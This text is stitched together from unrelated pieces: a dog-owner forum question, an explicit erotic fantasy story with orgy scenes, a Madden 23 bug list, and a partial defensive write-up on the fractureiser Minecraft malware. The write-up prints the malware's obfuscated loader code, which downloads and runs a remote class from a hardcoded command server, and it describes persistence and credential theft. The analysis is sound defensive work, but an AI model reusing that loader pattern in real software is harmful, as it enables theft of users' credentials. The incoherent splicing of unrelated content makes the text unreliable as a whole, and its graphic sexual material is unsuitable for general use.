My first two corgis I had at the same time, but it's been over 10 years since I had two corgis under one roof, and I wasn't as experienced of a dog owner with them. My first two were a boy and a girl - the boy was a bit avoidant but loyal to a few select people, and my girl was bossy and sassy but very smart, sweet and loved everyone, and followed me around everywhere.
These puppies are raised around cats and do well with them, so I'm not worried about them bullying our current cats. Our older cat is very used to corgis and I'm confident he'll adjust quickly, though the kitten will probably take some more time and we're prepared to do slow introductions by keeping the new pup in a side room for a few days.
Typo is a saint and does very well with just about every dog he's ever met, and is very good at setting boundaries if any dog gets overly playful or rude. We haven't introduced Typo to either of the puppies directly at the breeder's, though he's walked outside of the playpen they are kept in and they've all sniffed each other. When we go to visit next we will try and see if we can do some proper introductions, and if he does better with one over the other then that will obviously help us decide, but what if both do great?! Would it be better for us to have a boy/girl pair, or will two boys do ok together?

Part 1
"You're right," I said. "I hate it."
"You got a better idea?" Inanna asked. I shook my head. "No, and no time, either, let's go."
"Dude, you need like, a sergeant or something. I got you," the man said as he and his girlfriend or wife followed us back to the lounge.
"What kind of leadership experience do you have?" Inanna asked him.
"Uh, nothing like your husband," he admitted. I couldn't help but smirk. "Good, you've got the job," I said.
"What?" he asked.
"I know how the show portrays things, but in reality, Jerry's less of a leader and more a guy who's just kinda good at planning and really well liked. He's actually more of a lone wolf, really."
He looked at his girlfriend, who looked back. Both of them looked worried. I didn't blame them one bit.
"Okay," Inanna said as we reached the door. "This is on you, babe. Maybe turn your aura on a bit, and give your voice some extra volume."
I felt my cheeks burning. This was even worse than going on stage a few hours ago. At least then, there was some structure, and I had Inanna with me to take some of the attention.
I opened the lounge door and stepped in, the others hot on my heels. I stared at the crowd and felt my heart begin to flutter. Everyone here could die if I failed. So no pressure.
I followed Inanna's advice and let my natural aura slip a little loose. I could feel the weight of the woman's gaze change as it reached her. A second later, a few people, mostly women, nearest to us turned to eye me.
Inanna took my arm in her hand. "Remember, you want to be a little bit arrogant, babe. You don't have to be a dick about it, you just have to be straightforward. Acknowledge who you are and what you've done. Speak straight to them, and above all, act as confident as you can. Maybe work up a little righteous indignation. You're always a lot more confident when you're angry."
I nodded, accepting her advice. I put a little magic into my voice and cleared my throat. The sound was loud, but only a few people noticed in the din inside. People continued to talk and speculate and cry all over the room.
"Excuse me," I said. Nobody really paid me any mind. "Can I have your attention, please?" I asked. Still, nobody noticed. I glanced at Inanna, who shook her heard slightly. I decided to take a different approach and channeled Gary.
"EVERYBODY LISTEN UP!" I shouted, goosing the magic on my voice a bit. My words carried through the large room and a silence fell as all eyes turned to me.
"Okay, that's better," I said. I began to pace back and forth, hands on my hips, trying to strike a confident-looking figure. I was probably failing.
"Most of you probably recognize me from the talk just now. For anyone who doesn't, my name is Jerry Williams. I'm the man whom the character of Jimmy Waters in the television show The Legend of Jimmy is based on. Not everything in the show is accurate, but the broad strokes are.
"I killed Astoram. I led the takedown of the Cult of Blood. I led the way in the fight against the primordials, and I was the one who killed Sarisa and saved the Sixteenth World. Those parts are all true."
A ragged cheer went up from the crowd, which made me blush again. This was not an appropriate time to cheer.
"As you all know," I continued once I thought they'd be able to make out my words again. "This ship is under attack. For those who didn't see it, it's a kraken. As it turns out, they're much bigger in real life than Hollywood ever prepared us for. The kraken is hunting, and it plans to eat us-" A collective gasp rose from the crowd, but I pushed on.
"It plans to. But it's an animal, and I'm a human being, so I'll put my plans against its, any day. But to make my plan work, I need everybody who can to help. As many people as possible. I can't kill or drive this thing off myself, at least not without sinking the ship in the process. But with your help, we can fight this thing off.
"My wife here is going to be producing some weapons. What I need is for everyone who can swing a sword or shoot a rifle to make an orderly line right here and get your weapon. We don't have a lot of time, folks, so it's important that you remain calm and orderly. An old maxim of combat is 'Slow is smooth, smooth is fast,'. We'll finish much faster by remaining orderly than by rushing. So please, start lining up now. Together, we can fight this thing. We can drive it back into the depths, and go home with a story to tell our families."
This time, the cheer was overwhelming. It startled me with its ferocity. Despite my admonition, almost every young man and quite a few middle-aged men, along with a surprising number of women of all ages surged forward, eager to be the first volunteers.
Inanna rushed over to push a couple of square tables together, along with the couple from outside. They got them laid out and got behind them just in time. I had never understood why Inanna kept an entire arsenal of weapons in hammerspace until then. I'd told her many times that there was no way she could use hundreds of slightly-enchanted swords or almost a thousand gen-1 through gen-3 assault rifles and a similar number of handguns she regularly collected from the DCM group in lieu of retiring them (depending on the exact sub-generation, they couldn't always be upgraded to the latest standards of enchantment). But now I understood. She'd been preparing for a day like today.
I wondered idly why it was that people felt the need to look to me as the hero, when really, Inanna was the one they wanted. She was smarter, more experienced, and a better leader than me, no doubt. But she seemed content to be an intimidating figure standing at my side.
I was jealous.
Inanna began producing weapons and handing them out. She didn't let the volunteers choose their weapon, but assigned them as she saw fit. She had quite the variety of weapons, too. Shorter folks got polearms, mostly large Dane axes with six-foot hafts. Larger folks got swords, either knightly sword or viking swords, but the largest folks got longswords and -in the case of a six-foot three woman with broad shoulders- a zweihander, not unlike Inanna's own blade.
The guns were also distributed to anyone who professed any military or other shooting experience. These, she passed out purely by request, asking if they'd prefer a rifle or handgun. I was initially surprised at the number who chose a handgun, until I remembered that a lot of people would have experience shooting those at gun ranges and in large, rural back yards. She quickly got the couple involved, so they could serve three people at a time. With each interaction taking only four or five seconds, we were arming several dozen people a minute to start with. Inanna was even smarter than I originally thought, though, and she began hauling out weapons by the armful and dumping them off, grabbing the occasional newly-armed volunteer and pulling them behind their impromptu counter to help assign weapons.
Soon, she was off the line entirely, letting the others do the assigning as she continued to add to a pile of swords and a pile of guns. A dozen people stood behind the table two minutes in, each one assigning a dozen weapons a minute.
The ship shook three more times as we passed everything out. I had each person join me outside after they'd retrieved their weapon. A few of the people with guns took potshots at the giant tentacles, but I had them lower their weapons. For this to work, we all had to attack at once. We needed to surprise the beast with pain.
Finally, Inanna joined me outside, letting me know she was there by slipping a hand between my legs to fondle me. I turned to face her and planted a kiss on her forehead. "You ready?" I asked.
"To be the first to ever fight off a kraken?" she asked with a laugh. "Fuck yeah."
I nodded and added more magic to my voice.
"Okay, listen up! I need to group you up into units! I need a hundred people per unit, that's about one for each of the eight tentacles-" I was interrupted by one of the ship's massive smoke stacks being ripped free by one of the tightening tentacles. As soon as it finished collapsing, I continued.
"Start grouping up now! We don't have a lot of time!"
The man -I still hadn't caught his name- from the couple who'd been helping us rushed forward and began grabbing people, assigning them the task of leading units. Huh, that was quite inspired. Maybe he should be leading.... I glanced over to see Inanna giving me a slight shake of the head, having figured out what I was just thinking. I shrugged and looked back to the crowd, which was now showing some divisions as people clumped up. I waited a few more seconds for the scattered people still not in a group to get into one before I continued.
"Okay, You guys are team one," I said. "Head all the way aft, to the very last tentacle. Start attacking as soon as you hear the rest of us shooting. The folks with swords will chop the bottoms of the tentacles, the folks with guns will shoot the tops. Try to get your people into the best positions to do the most damage possible. Go."
The group turned and began to jog aft.
"Okay," I said, gesturing to another group. "You're team two. Same instructions, just pick the next tentacle up. Go."
The other teams began to follow, not needing any more instruction.
"How much time do we give them?" I asked Inanna.
"Three minutes," she said without hesitation. I nodded, as that sounded about right. Still, it was going to be a long three minutes. The ship continued to creak and groan from the strain of the tightening tentacles.
"This is gonna be close," the woman said. I took my chance. "Hey, what's your name?" I asked.
"I'm Charlize, and my brother is Jason," she said.
"Your brother? Oh, I thought you two were, uh..." I stammered. She flashed me a grin. "We're from Alabama, but not that part of the state."
"I uh, just didn't expect a... A brother and sister to take a cruise... I mean... Ugh. Sorry. It's fine, apologies if I offended you."
The woman looked at Inanna, an eyebrow quirked. Inanna nodded. "Always. It's a part of his charm."
I watched the last team get into position near the closest tentacle. "Okay," I said. "Let's join them."
We all ran over. I decided to use my sword, summoning Godslayer from hammerspace. As the blade appeared in my hand, the magic caused everyone around me to turn and look. The shimmering air around the blade raised a lot of eyebrows.
"Wow, I can feel that thing," one woman muttered.
"I've been layering enchantments on it for years," I explained.
"Did you name it? All cool swords need a name," a younger guy who looked to be a fellow after my own (nerdy) heart asked. I pursed my lips and balked at the ridiculous question.
"Of course," I said. "This is Godslayer."
"Holy shit!" he said, his eyes widening. A few others turned to check it out.
"Yes, this is the sword I killed Sarisa with. I also took Tysrane's hand with it, but that's... I'm not exactly proud of that," I said.
"Bet Tysrane isn't, either," the nerdy guy said. The woman who'd first spoken looked at him and said, "Bet Tysrane makes a point of not pissing off Jim- er, Jerry."
"Fuck yeah," the nerdy guy mumbled. I blushed.
"Is everyone ready?" I asked loudly. A ragged chorus of agreements greeted me. I realized I should be more inspiring, so I tried again, adding the magic back to my voice.
"Are we all ready to show this thing what happens when it messes with us?!" I shouted. A harsh cheer erupted.
"Lets go, then!" I yelled at the top of my lungs and rushed forward to the giant mass of glistening flesh before me. Gunfire erupted behind me as me and dozens of others began slashing into the tentacle.
As the assault picked up in pace, a new sound emerged. It started as the crackle of broken parts of the ship's superstructure, the tentacles writhing in response to the sudden pain. But it changed into a gurgling roar that grew louder and louder.
Suddenly, the roar grew more hoarse and I glanced aside to see a massive shape rising behind the structure to my left. Using a bit of magic, I jumped onto the roof and rushed to the edge.
The kraken's body had broken the surface. I could see where the tentacles joined the body, and in between them, the beast's mouth. It didn't have a beak like an octopus or a squid, but a massive, gaping maw full of sharp, pointy teeth. As the mouth rose above the water, the sound grew deafening, drowning out even the gunfire.
I stared at the thing as the mouth closed and sort of drew back into the body, the roar dying out. With a sudden loud hissing sound, the mouth shot back out, almost like a goblin shark's jaws, opening wide and releasing an enormous spray of a steaming black liquid.
The fluid splashed over the ship, smoking and bubbling where it landed. A few people were splattered with it, and each and every one of them screamed and began to try to wipe the sticky substance off themselves.
"Get them to the pools!" I shouted. "Get the injured to the pools!" A few people heard me and I watched as one burly older gentleman grabbed a flailing young lady, tossed her over his shoulder, and rushed to the pool. He splattered himself with the fluid, which bubbled and smoked as it struck him, but he paid it no mind. When he reached the pool, he jumped in with the woman, and I saw him drag her under and start stripping her clothes. More bodies splashed into the pool, and I nodded in approval. Taking off whatever clothing was soaked in the stuff was a good idea.
I turned back to see the beast sucking its jaw back in again. This was no good. It had already knocked about one in ten people off the line, either suffering from whatever kind of acid this was, or helping those so afflicted. If it kept this up, it would stop us.
That's when I realized that my first plan was viable now. Its body was out of the water. I could target it, right now, and end this.
I rose into the air, charging my strike. I dismissed Godslayer and, having learned from my efforts against the primordials, dismissed my clothes as well. I really liked that T-shirt.
I flew up and away from the beast, reaching a point about two hundred yards away from the ship. I could see the ends of tentacles in the water below me, really speaking to the size of the creature, as those tentacles were currently still wrapped around the ship.
I closed my eyes and prayed. "Please let go, please let go." I opened my eyes back up and waited.
The beast spat more acid onto the deck, but it had already splattered the people nearest to its mouth, and those near to them had helped. Only a few people caught some of the acid, and a few more stopped to help them get in the water.
The beast was thrashing now. I could see the ship rocking back and forth, and the tentacles were coming loose and tightening down. I watched, waiting for my chance.
Finally, blessedly, it happened. Six of the tentacles lifted up, the ends slipping out of the water. They were no longer grasping the ship, having pulled back to end the pain our ragtag army was inflicting.
I drew in as much power as I could manage and shot forward, my shield forming a shell around me.
----
Charlize Mayberry, Totally Not Fucking Her Brother, Jesus Christ, They're Just Best Friends, I Mean, it's Her Brother For Crying Out Loud
Charlize watched as Jerry made the inhuman jump to the structure to her left to survey the battle. She could see the kraken's body, and she could see Jerry's shoulders and head as he regarded it.
He looked even more impressive than his counterpart in the show. Magic that she could see and feel surrounded him, making him crackle with strange colors she couldn't give name to. His sword shimmered, the blade a thing of immense gravity, drawing the eye to it. His shoulders were firmly set, and even from behind, she could sense the grim determination. She remembered a scene from the show, where Karen had watched him and whispered "Angel of Death," and she decided right then and there that that scene had actually happened.
When the kraken spat some kind of burning black bile over everyone, she heard him shouting, as if he'd been prepared for this. She found a man screaming to her right, trying to get the stuff off his face. "Come on!" she yelled, grabbing one of his hands and rushing him to the pool. By the time she got there, the water was gray and muddy, and partially or entirely naked people with serious-looking burns were climbing back out. She shoved the guy in, watching him go under. A few seconds later, he emerged, scrubbing at his face.
"Oh god, oh god, oh god... Thank you," he said, his eyes still squeezed shut. She could see the wound on his cheek where the acid had eaten into the skin, but he had managed to rinse most of it away.
"Come on," she called, "Get out." He blinked his eyes open, then swam to the edge. More people were coming in, and she worried that the pool water might get saturated with enough of the acid to become acidic, itself.
Charlize helped the man out of the pool, then turned to look back down the ship. The tentacles were rising, one after another, trying to escape the pain of gripping the vessel. Those armed with guns continued to fire, pouring lead into the savaged appendages as those with melee weapons caught their breaths.
She watched as all but two of the tentacle lifted off the ship. Hope swelled in her breast and she glanced over at a burly, older man with no shirt on, leaning on his knees and catching his breath, next to a younger woman in nothing but a pair of panties, laying on the deck with burns all over her legs and torso.
The man caught her gaze and flashed her a grim smile. "Almost," he said. Charlize nodded and raised her rifle, shooting at the distant tentacles that remained attached to the ship.
She had only fired once or twice when the entire ship shuddered and a deafening crack caused her to look up. She saw a golden streak flash into and through the beast's body, which was more clearly seen from her current position on the pool deck.
The kraken simply exploded.
Chunks of wet, slippery flesh flew outward with enough force to bowl over anyone they struck and leave dents in the metal sides of the ship. The two remaining tentacles on the ship let go, pulling back under the water as the six in the air flopped down, sending a cleansing wave of seawater over the deck.
The water ran red with the kraken's blood as it swept over the sides, carrying chunks of monster and a few people who'd been caught off guard with it. Charlize grabbed one guy and helped him catch his footing before the flow subsides.
She straightened up and looked over to where the dead beast was sinking beneath the surface. A gold-glowing figure emerged from the water, and Charlize recognized Jerry.
He was naked. His body was hard and tightly muscled, but lean and agile-looking. His skin glowed with a golden light, and she could see red lightning playing about his skin as he rose into the air and then glided over to the ship and sat back down.
The crowd, who had begun cheering at the beast's death, fell into a hush of awe as the all turned to the glowing figure. He exuded power, commanding every eye to look at him. His feet settled down on the deck and he walked forward.
With a sudden rush of heat in her cheeks, Charlize realized that he was rocking an enormous hard-on. Like, impressively big. If she'd seen one like that in a porno, she'd have assumed it was CGI or a prosthetic. If she'd been able to think straight, she'd probably have found it a little ridiculous.
He walked past her, turning his head and clasping her shoulder. "Thank you," he said with a smile. Her knees went weak as his touch and she began to reflect upon the fact that, at least in the show, Ishtar loved to bring women home for herself and Jimmy.
She watched him thank everyone he passed, until he finally found his wife. They embraced, and then a few seconds later, they vanished.
Charlize caught her breath and let her heartbeat slow down. A woman approached her, and she recognized her as the last person whose question Jerry had declined to answer during the talk.
"Do you know where there cabin is?" she asked. Charlize shook her head. Another woman approached, holding hands with an effeminate-looking man carrying a handgun. "They're in the Princess Suite, it's in the big stack up fore," she said with a gesture.
"I'm gonna go see if they're there," the first woman said breathlessly. The couple nodded, and all three of them took off. Jason put his hand on her shoulder and she looked at him.
"I'm, uh..." Charlize said, making up her mind right then and there. "I'm gonna go do something. I'll be around in a bit."
She hurried inside, found an elevator to ride to the top floor and the hurried down until she saw the door labeled "Princess Suite". She knocked on it.
A second later, the door was opened by a naked woman that Charlize didn't recognize. Looking past her, she could see a tangle of limbs. Moans and gasps already filled the air.
The woman stepped aside as Charlize stepped in and immediately began tugging at her shirt.
----
Jerry Williams, Just Wants a Quiet Vacation For Once In His Life
The next morning, I sat on a deck chair on the upper observation deck as the ship pulled into port for repairs. We'd all been given vouchers for a new cruise, as compensation for the one cut short by the attack. The captain of the ship had come to personally thank me for rallying the defense. Unfortunately, she'd done this during the orgy Inanna had organized right after the attack, and it had taken the bridge crew over an hour to locate her when she failed to return.
I winced, thinking about that.
Inanna had turned her chair to face mine and had her legs on my lap. A few other people were also laid out with us. Mostly women, but a few men as well. All of us had come up here from my cabin. All of us were naked, and though this wasn't a nudist cruise, nobody seemed inclined to complain. The staff had recognized Inanna and I, and we were being waited on hand and foot.
I took a sip of my champagne and rubbed Inanna's shin.
"See?" she said. I glanced over to see the sun glistening off the light sheen of sweat coating her dusky skin. God, she was so beautiful.
"It wasn't so hard, was it?"
"I'm still not so sure I'm cut out to be a leader. And I'm still not convinced that the risk of me turning in the asshole from my visions is past," I said.
"Bah," she replied dismissively. "You are a leader, whether you like it or not. You're a hero, like it or not. I know you wouldn't have chosen this position, but it's been chosen for you, and the best thing you could do is be the best damn hero you can be."
I thought about that for a minute, and honestly, I couldn't argue the point. Maybe she was right, and I should do a bit more in terms of being a good hero, instead of just keeping my head down and trying to help where I could.
"Besides," she continued a moment later. "Emperor Gerald had sixty years of Sarisa whispering in his ear to get that way. You've got me. I'll keep you on the straight and girthy."
I laughed. "Straight and narrow," I corrected.
"It's anything but narrow," she replied mildly. "Although, now that I think about it, I prefer when I'm the one on the straight and girthy." She reached down to grab my hand and pull it up to her pubic hair. I gave it a little tug, then ran my fingers along the stretch marks at the base of her belly. Those were possibly the sexiest part of her whole body, and even the least sexy part of her was jaw-dropping. She opened an eye to frown at me, until her gaze roamed down and noticed the effect that touching them was having on a different part of me. Her feet shifted over to that part and I felt that old familiar thrill as she touched me. It was just as intense this time as it had been the first time.
"Ready for another?" she asked.
"I think we should relax for a bit," I said. Inanna smirked and her eyes focused past me. "They don't," she said. I glanced behind to see two of the women from the orgy walking over.
"You forgot to turn your aura off, love," she said as she set up and moved to sit on my lap.
"Here we go again," I groaned as hands and lips began to touch me.
Don't tell anyone, but in all candor, this was the part of being a hero I enjoyed the most.

With the Madden 24 Official Reveal Trailer releasing today, the unofficial end of Madden 23 is here. It is unlikely this game will receive further updates as the company transitions towards marketing '24. There were 16 total patches, including eight title updates released for Madden '23: Below is just some of what EA failed to fix over the last year:
Gameplay

• Offensive Players play defense while Defensive Players play offense
• Passes phasing through WR's hands leading to INTs
• Numerous catches ruled incomplete and unchallengeable
  • I've personally experienced this since '20
• Plays not being blown dead after HB draws, allowing the RB to get up and score a TD
  • I've personally experienced this one since Madden '20
• AI RB running into their own linemen on screens
• Offensive players tackling their own teammates
• Wide Open WR's Refusing to catch the ball for no reason
• WR's juggling the ball on their helmet till they run out of bounds
  • I've personally experienced this since Madden 16
• AI failing to recognize outside blocking lanes, effectively killing HB toss & PA plays
• Unrealistic ball paths nullifying user defense when playing Madden on high AI difficulty
• Offensive linemen freezing on LOS & failing to block incoming defenders
• Offensive linemen letting defenders just blow by them
• Defenders making tackles without touching opposing player
• DB's teleporting across the field to force incompletions
• DB's making interceptions on passes they didn't see on high AI difficulty
• DB's morphing through WR's arms to make INTs with acrobat badge
• Kickers phase through the ball on onside kicks
• Inability to get Pass Interference calls in Online play
• Certain formations only putting 10 men on field/ making lineman invisible
• Players celebrating touchdowns for opposing team

Other

• Shaquem Griffin lifts up the ball with his non-existent hand
• Scorebug randomly changing from normal to Superstar KO one in H2H online
• Snowing occurs in domed stadiums
• FoF player changes position when attempting upgrade-- locks you in different position with low overall
• Game awards possession to incorrect team on SlowSim in Franchise
  • This has been a problem for several years
• Certain Yards to go being listed in the negatives
• Audibling plays using custom playbook lead to glitched formations/ turnovers in Franchises
• Incorrect head photos of Lamar Jackson, Josh Allen, AJ Green & other players sharing names in Franchise
• Unrealistic start times in Franchise
• QBs fumble 4X as much in Madden then IRL
• Players duplicated on sidelines
• Random objects getting loaded & obstructing the field in Franchise
• Offensive players huddle with defensive players before offensive drill in practice in Franchise
• Game stories being innacurate in Franchise
  • This has been an issue since Madden '21
• Players who share names including Lamar Jackson, Josh Allen & AJ Green having the incorrect headshots in Franchise
  • This wasn't a problem until the most recent patch-- EA never bothered to fix itTM
• The Madden '94 cutscene in the intro was removed and never put back. EA never bothered to put it back in
• Constant server crashes
• Slow menu loading times in MUT next gen
• Player stats duplicating across the entire league in Franchise
• Players load into each other in Franchise menus
• Crowd does not reflect off Lombardi Trophy in Franchise
• Commentary still talks about "new overtime rules" (the new rules are now 7 years old)

And arguably the biggest middle finger of them all:

• EA suffers a server issue during Free Play Weekend-- potentially lose 60% of online franchises with no way of recovery. Only in-game solution is no more free play days for the year

I know i'm missing more so please add others below. Share your thoughts on your favorite Madden '23 bugs & if they will be fixed for '24 (ha). Remember this as EA tries to hype up Madden 24 as its "Make or Break" game.

Current status

We have a good idea how fractureiser works, from stages 0 to 3. There are certain unknowns, but stage 0 bootstrapping was quickly nipped and tomorrow we’ll be moving our focus to mitigation. As a plan, we’ve contacted Mojang and will likely be working with teams to get detection software distributed and integrated into CurseForge and Modrinth, as well as considering integration in launchers like Prism, and mod loaders like Fabric and Forge. It is also worthwhile to run this detection software on mod distribution mavens, as it’s possible some have become infected.
Most of the current team responsible for updating this doc is tired and going to bed (as of 02:46a Pacific time). Others are continuing to reverse engineer stage 3.
Work has begun on a detector for infected stage0 mods: https://github.com/MCRcortex/nekodetector
If you have files relevant to this malware, please upload them to https://wormhole.app and email the URL to [[email protected]](mailto:[email protected]) — this inbox is controlled by xylemlandmark, and anything sent to it will be shared with the rest of the team. Please also let us know if you have the ability to download files from VirusTotal, as that would let us get ahold of many of the files we’re missing. We are looking especially for one lib.dll .
If you need to get in touch more generally, please send mail to [[email protected]](mailto:[email protected]).
If you copy portions of this document elsewhere, please put a prominent link back to this HackMD page (https://hackmd.io/@jaskarth4/B1gaTOaU2) somewhere near the top so that people can read the latest updates and get in contact.
​

Non-technical overview [READ ME!]

A number of Curseforge and dev.bukkit.org (not the Bukkit software itself) accounts were compromised, and malicious software was injected into copies of many popular plugins and mods. Some of these malicious copies have been injected into popular modpacks including Better Minecraft. There are reports of malicious plugin/mod JARs as early as mid-April.
This malware is composed of multiple “stages”, each stage is responsible for downloading and running the next one. In total, there are three known stages (Stages 1, 2, and 3), with infected mod files serving as a “Stage 0” to kick the whole process off.
Stage 3 is the “mastermind” of the malware, and we have evidence that it attempts to do all of the following:

• Propagate itself to all jar files on the filesystem, possibly infecting mods that were not downloaded from CurseForge or BukkitDev
• Steal cookies and login information for many web browsers
• Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
• Steal Discord credentials
• Steal Microsoft and Minecraft credentials

(See technical details for more info)
Because of its behavior, we are very confident this is a targeted attack against the modded Minecraft ecosystem. It’s quite bad.
Until further notice, exercise extreme caution with Minecraft mod downloads, regardless of origin. While the control server for this malware is currently offline, any download from Curseforge or the Bukkit plugin repository in the last 2-3 weeks should be treated as potentially malicious. This malware is unlikely to be detected by Windows Defender or similar antimalware products.
If you have downloaded any mods from Curseforge, or plugins from Bukkit, even through clients such as Prism Launcher or the official Curseforge launcher, it is recommended that you follow the “Am I infected?” guide below.
The affected accounts had two-factor authentication enabled. This is not a simple password compromise situation. Multiple accounts are affected.
Currently, we do not suspect other platforms such as Modrinth to be affected. At this point we cannot be confident claiming any hosting service is unaffected. Please exercise caution regardless of what site you use. Even Maven repositories may be infected, and this malware goes back months.
Right now, the malware is dormant due to the loss of its C&C server and the Stage0 (what was distributed via mods and modpacks) not having a way to get a new server. If you were infected with Stage2 (the file described below, dropped by Stage1 when C&C was up), then the malware is still active.

Am I infected?

You can check whether the malware ever ran on your computer, since Stage1 attempts to save Stage 2 at several unusual paths:

• Linux: ~/.config/.data/lib.jar
• Windows: %LOCALAPPDATA%\Microsoft Edge\libWebGL64.jar (or ~\AppData\Local\Microsoft Edge\libWebGL64.jar )
  • Make sure to show hidden files when checking
  • Yes, “Microsoft Edge” with a space. MicrosoftEdge is the legitimate directory used by actual Edge.
  • Also check the registry for an entry at HKEY_CURRENT_USER:\Software\Microsoft\Windows\CurrentVersion\Run
  • Or a shortcut in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
• All other OSes: Unaffected. The malware is hardcoded for Windows and Linux only. It is possible it will receive an update adding payloads for other OSes in the future.

There are scripts available here which will help you check whether these files exist.
Before downloading, the malware will create the enclosing directory if it does not exist. Windows/MS Edge does not use the “Microsoft Edge”-with-a-space directory, and Linux software does not use ~/.config/.data , so these folders existing is a likely sign that Stage1 has executed on a victim computer.
If you find these files, you should delete them immediately, but consider all JAR files on your system compromised, and potentially all logins on your web browser as well. Passwords should be changed.

Given a jar file, how do I know if it’s safe?

There are various heuristics you can use to determine whether a jar is infected with Stage 0.
Emi’s shell script here simply checks for all usages of ClassLoader , which is uncommon in mod code. This can lead to false positives and negatives. For example, it falsely flags the latest Quark 1.19 file as infected when it is not.
Sylv’s shell script here does a bit more fingerprint matching for the malware, and should be more precise.
As a non-technical user, your best course of action is to check if your system was affected using the above steps, remediating if necessary, and refraining from downloading anything from CurseForge or dev.bukkit.org until further notice.

Technical info

Distribution

Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they do not show on the web UI, only via the API.
The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload. The fact Curse let these mods uploaded by a new account through is pretty bad and speaks to their now-nonexistent content moderation.

Known affected mods & plugins

mod/pluginlinkSHA1“Uploader” Skyblock Core[www.curseforge.com]/minecraft/mc-mods/skyblock-core/files/4570565

33677CA0E4C565B1F34BAA74A79C09A3B690BF41 

Luna Pixel Studios Dungeonz[legacy.curseforge.com]/minecraft/mc-mods/dungeonx/files/4551100

2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B 

fractureiser Haven Elytra[dev.bukkit.org]/projects/havenelytra/files/4551105 [legacy.curseforge.com]/minecraft/bukkit-plugins/havenelytra/files/4551105

284A4449E58868036B2BAFDFB5A210FD0480EF4A 

fractureiser Vault Integrations[www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590

0C6576BDC6D1B92D581C18F3A150905AD97FA080 

simpleharvesting82 AutoBroadcast[www.curseforge.com]/minecraft/mc-mods/autobroadcast/files/4567257

C55C3E9D6A4355F36B0710AB189D5131A290DF26 

shyandlostboy81 Museum Curator Advanced[www.curseforge.com]/minecraft/mc-mods/museum-curator-advanced/files/4553353

32536577D5BB074ABD493AD98DC12CCC86F30172 

racefd16Vault Integrations Bug fix[www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590

0C6576BDC6D1B92D581C18F3A150905AD97FA080 

simplyharvesting82 Floating Damage[dev.bukkit.org]/projects/floating-damage1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fcmamavergas3001Display Entity Editor[www.curseforge.com]/minecraft/bukkit-plugins/display-entity-editofiles/4570122

A4B6385D1140C111549D95EAB25CB51922EEFBA2 

santa_faust_2120
Darkhax sent this: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f
potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib

Stage0 (Infected mod jars)

Affected mods or plugins have a new static void method inserted into their main class, and a call to this method is inserted into that class’s static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53 and exists in net.dungeonz.DungeonzMain . For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180 and is inserted into com.bmc.coremod.BMCSkyblockCore . For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra .
The method’s code is obfuscated, using new String(new byte[]{...}) instead of string literals.
From Shadowex3’s sample of “Create Infernal Expansion Plus”, a copycat version of “Create Infernal Expansion Compat” with malware inserted into the main mod class:

static void _1685f49242dd46ef9c553d8af1a4e0bb() { Class.forName(new String(new byte[] { // "Utility" 85, 116, 105, 108, 105, 116, 121 }), true, (ClassLoader) Class.forName(new String(new byte[] { // "java.net.URLClassLoader" 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 })).getConstructor(URL[].class).newInstance(new URL[] { new URL(new String(new byte[] { // "http" 104, 116, 116, 112 }), new String(new byte[] { // "85.217.144.130" 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 }), 8080, new String(new byte[] { // "/dl" 47, 100, 108 })) })).getMethod(new String(new byte[] { // "run" 114, 117, 110 }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); } 

This:

1. Creates a URLClassLoader with the URL http://[85.217.144.130:8080]/dl (shodan)
2. Loads the class Utility from the classloader, fetching code from the internet
3. Calls the run method on Utility , passing a String argument different for each infected mod (!). E.g.

• Skyblock Core: “-74.-10.78.-106.12 ”
• Dungeonz: “114.-18.38.108.-100 ”
• HavenElytra: “-114.-18.38.108.-100 ”
• Vault Integrations: “-114.-18.38.108.-100 ”

The passed numerals are parsed as bytes by Stage1 and written to a file named “.ref”. They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads we are presently aware of no longer function.

Stage1 (dl.jar)

SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled copy of Utility from the malware.
The very first thing Utility.run does is check if the system property neko.run is set. If it is, it will immediately stop executing. If not, it sets it to the empty string and continues. This appears to be a very simplistic way of avoiding the same process running the malware multiple times, such as if it had multiple infected mods. This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.
It attempts to contact 85.217.144.130 , and a Cloudflare Pages domain (https://[files-8ie.pages.dev]/ip ). Yes, people have already reported abuse. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a 4 byte file which is just a binary IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can’t imagine they didn’t plan for this. Thank you Serverion for your prompt response.
Stage 1 then attempts to achieve persistence by doing the following:

1. Downloading stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
2. Making stage 2 run automatically on startup:

• On Linux, it tries placing systemd unit files in /etc/systemd/system or ~/.config/systemd/user
  
  • The unit file it places in the user folder never works, because it tries using multi-user.target , which doesn’t exist for user units
• On Windows, it attempts to modify the registry to start itself, or failing that, tries adding itself to the Windows\Start Menu\Programs\Startup folder
  

Stage2 (lib.jar or libWebGL64.jar)

Known sha1 hashes:

• 52d08736543a240b0cbbbf2da03691ae525bb119
